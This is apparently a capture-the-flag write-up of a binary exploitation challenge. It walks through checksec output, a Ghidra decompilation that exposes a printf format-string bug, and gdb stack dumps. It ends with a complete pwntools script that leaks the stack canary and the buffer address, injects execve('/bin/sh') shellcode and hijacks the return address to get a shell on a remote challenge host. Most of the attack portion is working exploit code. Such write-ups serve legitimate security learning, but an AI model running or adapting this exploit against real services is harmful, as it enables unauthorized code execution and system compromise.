Shell is Love, Shell is life
As with all pwn challenges, we run checksec on the binary checksec --file=pwn
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled
Stripped: No
NX bit is disabled !, we can execute code on the stack!, let us try dissassembling the binary using GHIDRA
undefined8 main(void)
{
long in_FS_OFFSET;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined4 local_18;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
banner();
setbuf(stdout,(char *)0x0);
local_78 = 0x333c2049;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_18 = 0;
puts("Can you pwn me?");
puts("What is your name?");
fgets((char *)&local_78,100,stdin);
puts("Welcome to the contingent");
printf((char *)&local_78);
puts("Anything else?");
fgets((char *)&local_78,0x100,stdin);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
They are printing user input directly using printf! We can leak information using format string vulnerabilities
Let us observe the stack using gdb x/50x $rsp
0x7fffffffdc90: 0x0000000d 0x00000000 0xffffdca0 0x00007fff
0x7fffffffdca0: 0x6c243725 0x00000a78 0x00000000 0x00000000
0x7fffffffdcb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdcc0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdcd0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdce0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdcf0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdd00: 0x00000000 0x00000000 0x20220400 0x87f89f7d
0x7fffffffdd10: 0x00000001 0x00000000 0xf7c29d90 0x00007fff
0x7fffffffdd20: 0x00000000 0x00000000 0x55555240 0x00005555
0x7fffffffdd30: 0xffffde10 0x00000001 0xffffde28 0x00007fff
0x7fffffffdd40: 0x00000000 0x00000000 0x66b41503 0xb621f5da
0x7fffffffdd50: 0xffffde28 0x00007fff
Strangely, there is an address in the stack, in the stack itself! (0x7fffffffdca0) at 0x7fffffffdc98
, Let us try putting AAAA into the first input prompt !
examining the stack again,
gef⤠x/50x $rsp
0x7fffffffdc90: 0x0000000d 0x00000000 0xffffdca0 0x00007fff
0x7fffffffdca0: 0x0a414141 0x00000000 0x00000000 0x00000000
0x7fffffffdcb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdcc0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdcd0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdce0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdcf0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffdd00: 0x00000000 0x00000000 0x67406800 0xa126b205
0x7fffffffdd10: 0x00000001 0x00000000 0xf7c29d90 0x00007fff
0x7fffffffdd20: 0x00000000 0x00000000 0x55555240 0x00005555
0x7fffffffdd30: 0xffffde10 0x00000001 0xffffde28 0x00007fff
0x7fffffffdd40: 0x00000000 0x00000000 0x1dd653c2 0xd568252e
0x7fffffffdd50: 0xffffde28 0x00007fff
The address of the buffer is in the stack !, we can leak this address, along with the canary, write shellcode in this buffer, and then over write the return address with the address of the buffer!
from pwn import *
#exe = ELF("./vuln")
#context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("10.21.232.38", 7003)
return r
def main():
r = conn()
# 22 - > rbp
# 21 - > canary
# 7-> location of the array
payload1 = b"%7$lx.%21$lx"
r.recvuntil(b"name?\n")
r.sendline(payload1)
r.recvuntil("contingent\n")
data = r.recv().split(b'\n')[0]
print(data.split(b"."))
data = data.split(b".")
addr = int(data[0],16)
canary = int(data[1],16)
shellcode = b"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05"
#shellcode is 28 bytes long
print(len(shellcode))
payload2 = shellcode + b"A"*(104-48)+ p64(canary) +b"B"*8 + p64(addr)
r.sendline(payload2)
# good luck pwning :)
r.interactive()
if __name__ == "__main__":
main()